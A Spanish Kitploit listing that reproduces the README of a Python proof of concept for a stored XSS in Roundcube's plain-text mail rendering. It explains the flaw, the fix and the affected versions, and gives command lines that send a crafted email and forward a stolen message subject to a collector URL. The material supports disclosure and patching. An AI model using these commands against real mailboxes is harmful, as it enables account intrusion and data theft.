Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-54433 — PoC de Python configurable para CVE-2026-54433, un XSS almacenado en el renderizador de correo en texto plano de Roundcube. Genera un .eml manipulado, lo envía a través de SMTP y valida el impacto en un laboratorio Docker. | Kitploit
Herramientas/GitHubGitHub/aramosf/cve-2026-54433
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosSeguridad WebPruebas de PenetraciónDesarrollo de PayloadsSeguridad de Correo ElectrónicoLabs y Práctica
GitHubaramosf/cve-2026-54433

CVE-2026-54433

PoC de Python configurable para CVE-2026-54433, un XSS almacenado en el renderizador de correo en texto plano de Roundcube. Genera un .eml manipulado, lo envía a través de SMTP y valida el impacto en un laboratorio Docker.

29hace 1 mesAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-54433: XSS almacenado en correos de texto plano de Roundcube

Demostración de ejecución del exploit

Este repositorio contiene una prueba de concepto configurable en Python para CVE-2026-54433, una vulnerabilidad de cross-site scripting almacenado en el renderizador de correos de texto plano de Roundcube. Un remitente no autenticado puede entregar un mensaje text/plain manipulado. Cuando un usuario autenticado de Roundcube abre o previsualiza ese mensaje, JavaScript controlado por el atacante se ejecuta en el origen de Roundcube.

La PoC demuestra un impacto concreto en sesiones autenticadas sin recopilar cookies ni cuerpos de mensajes: lee el asunto de un mensaje antiguo y envía ese valor, el origen de Roundcube y el nombre de la tarea a un recolector autorizado como campos POST codificados en URL.

Advertencia

Esto es código de exploit activo. Úsalo solo en un laboratorio propio o contra un sistema y buzón para los que tengas autorización explícita de prueba. El modo de envío transmite un correo manipulado y puede revelar un asunto preexistente al recolector. Usa --generate-only para inspección sin conexión.

Resumen de la vulnerabilidad

Roundcube convierte las direcciones encontradas en mensajes de texto plano en enlaces mailto: clicables. En las versiones afectadas, el sufijo de consulta opcional se comparaba con \S+:

. '(\?\S+)?'

Debido a que \S incluye < y >, una cadena que comienza como una dirección de correo podía hacer que el reemplazo de autoenlace consumiera una etiqueta HTML de apertura dejando el resto para ser interpretado como marcado. Esta forma mínima ilustra la primitiva:

[email protected]?]

La corrección oficial restringe el sufijo de consulta para que no pueda contener corchetes angulares ni espacios en blanco:

. '(\?[^<>\s]+)?'

El proveedor describe el problema como «zero-click» porque no se requiere ningún clic en el enlace. Abrir o previsualizar el correo estando autenticado sigue siendo la acción del cliente de correo que renderiza la carga útil.

Versiones afectadas y corregidas

Línea de versiónEstado
Versiones de Roundcube anteriores a 1.6.17Afectadas
Roundcube 1.6.17 y 1.6.x posterioresCorregidas
Roundcube 1.7.0 y 1.7.1Afectadas
Roundcube 1.7.2 y posterioresCorregidas

Las confirmaciones públicas de la corrección son:

  • Línea 1.7: 5477e979aae0317e111564bfc9971ba7707cc165
  • Línea 1.6: 4c278f4868c67b163567cae3d74e58d872913459

Actualiza a Roundcube 1.6.17 / 1.7.2 o a una versión soportada más reciente.

Requisitos previos y alcance

  • El atacante necesita una forma de entregar el correo a la víctima, pero no una cuenta de Roundcube, contraseña, acceso a plugins ni acceso de administrador.
  • El mensaje debe ser renderizado por una versión afectada de Roundcube como text/plain.
  • La víctima debe tener una sesión autenticada de Roundcube y abrir o previsualizar el mensaje.
  • No se requiere ningún plugin de terceros de Roundcube.
  • La prueba Docker positiva usó la skin Elastic predeterminada de Roundcube. La primitiva raíz está en la conversión de texto plano del lado del servidor; otras skins no se declararon como probadas de forma independiente aquí.
  • El control de Roundcube «los recursos remotos han sido bloqueados» no detuvo la primitiva probada: la imagen oculta usa un src relativo que falla para invocar onerror. Una devolución de llamada al recolector aún requiere conectividad de red del navegador.
  • La cookie de sesión de Roundcube normalmente es HttpOnly. Esta PoC no intenta leerla. Su solicitud de mismo origen usa automáticamente la sesión autenticada, y el asunto del mensaje separado es la prueba de impacto.

El resultado demostrado es ejecución de JavaScript autenticada y acceso de lectura a un asunto de correo anterior. La toma de control de la cuenta, el robo arbitrario del cuerpo de mensajes y la ejecución de código en el servidor no son reclamados por este repositorio.

Comportamiento de la PoC

cve-2026-54433-poc.py es autocontenido y usa solo la biblioteca estándar de Python. Este script:

  1. construye un correo text/plain RFC 5322 ordinario y manipulado;
  2. escanea como máximo 50 UIDs inferiores en el buzón actual de Roundcube por defecto;
  3. selecciona el primer asunto antiguo que no comience con CVE-2026-54433;
  4. envía por POST subject, origin y task a /capture/<random-marker>;
  5. nunca lee cookies, credenciales, cuerpos de mensajes ni adjuntos;
  6. opcionalmente envía el correo usando SMTP simple, STARTTLS o TLS implícito;
  7. opcionalmente consulta Webhook.site o un endpoint de estado JSON compatible.

La carga útil inserta el comentario DOM:

<!-- This is a BugBounty test; only one subject is copied as evidence -->

También oculta el fragmento de dirección autoenlazada y el indicador de imagen rota mientras muestra el cuerpo benigno suministrado por el llamante.

Generación sin conexión

Genera el correo sin realizar una conexión de red:

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector https://collector.example.test \
  --generate-only

Esto escribe:

  • cve-2026-54433-trigger.eml
  • cve-2026-54433-evidence.json

Inspecciona el mensaje generado antes de usar el modo de envío.

Prueba SMTP autorizada con Webhook.site

El valor de --collector puede ser un UUID de Webhook.site, una URL de captura o una URL #!/view/. El script deriva los endpoints de captura y de sondeo.

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
  --smtp-host smtp.example.com \
  --smtp-port 587 \
  --smtp-security starttls \
  --smtp-user [email protected]

Si SMTP_PASSWORD no está presente, el script solicita la contraseña sin mostrarla ni almacenarla. Se puede seleccionar una variable con otro nombre mediante --smtp-password-env NAME. Evita --smtp-password en sistemas multiusuario porque los argumentos de línea de comandos pueden ser visibles en listados de procesos o en el historial del shell.

El script solicita un YES explícito antes de enviar. En automatización de laboratorio no interactiva y ya autorizada, usa --yes. Espera hasta 24 horas por una devolución de llamada por defecto; usa --timeout SECONDS para cambiarlo.

Para un recolector que no sea Webhook.site, pasa la base de captura y el endpoint de estado JSON opcional:

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Authorized XSS test' \
  --collector https://collector.example.test \
  --poll-url https://collector.example.test/status \
  --smtp-host mail.example.test \
  --smtp-security starttls

El collector.py incluido implementa los endpoints compatibles /capture/<marker> y /status. Se enlaza al loopback por defecto. El despliegue real con HTTPS y el control de acceso se dejan intencionalmente al evaluador autorizado.

Laboratorio Docker reproducible

Descargar herramienta